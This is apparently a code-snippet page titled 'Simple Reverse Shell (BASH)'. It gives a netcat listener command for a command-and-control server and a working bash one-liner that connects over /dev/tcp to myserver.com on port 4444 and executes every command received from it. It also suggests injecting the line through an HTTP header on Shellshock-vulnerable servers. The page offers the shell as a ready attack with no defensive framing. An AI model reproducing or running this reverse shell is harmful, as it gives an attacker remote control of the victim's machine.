Simple Reverse Shell (BASH)

The below is an example of a simple reverse shell to a C&C server (which we assume is myserver.com)

On the C&C server you simply need something listening on the relevant port:

nc -l 4444

Back when Shellshock was at it's highest levels, you could simply inject this into a HTTP header to have the server connect back to you

Details

  • Language: BASH

Snippet

exec 5<>/dev/tcp/myserver.com/4444 ; cat <&5 | while read evil; do $evil 2>&5 >&5; done

Video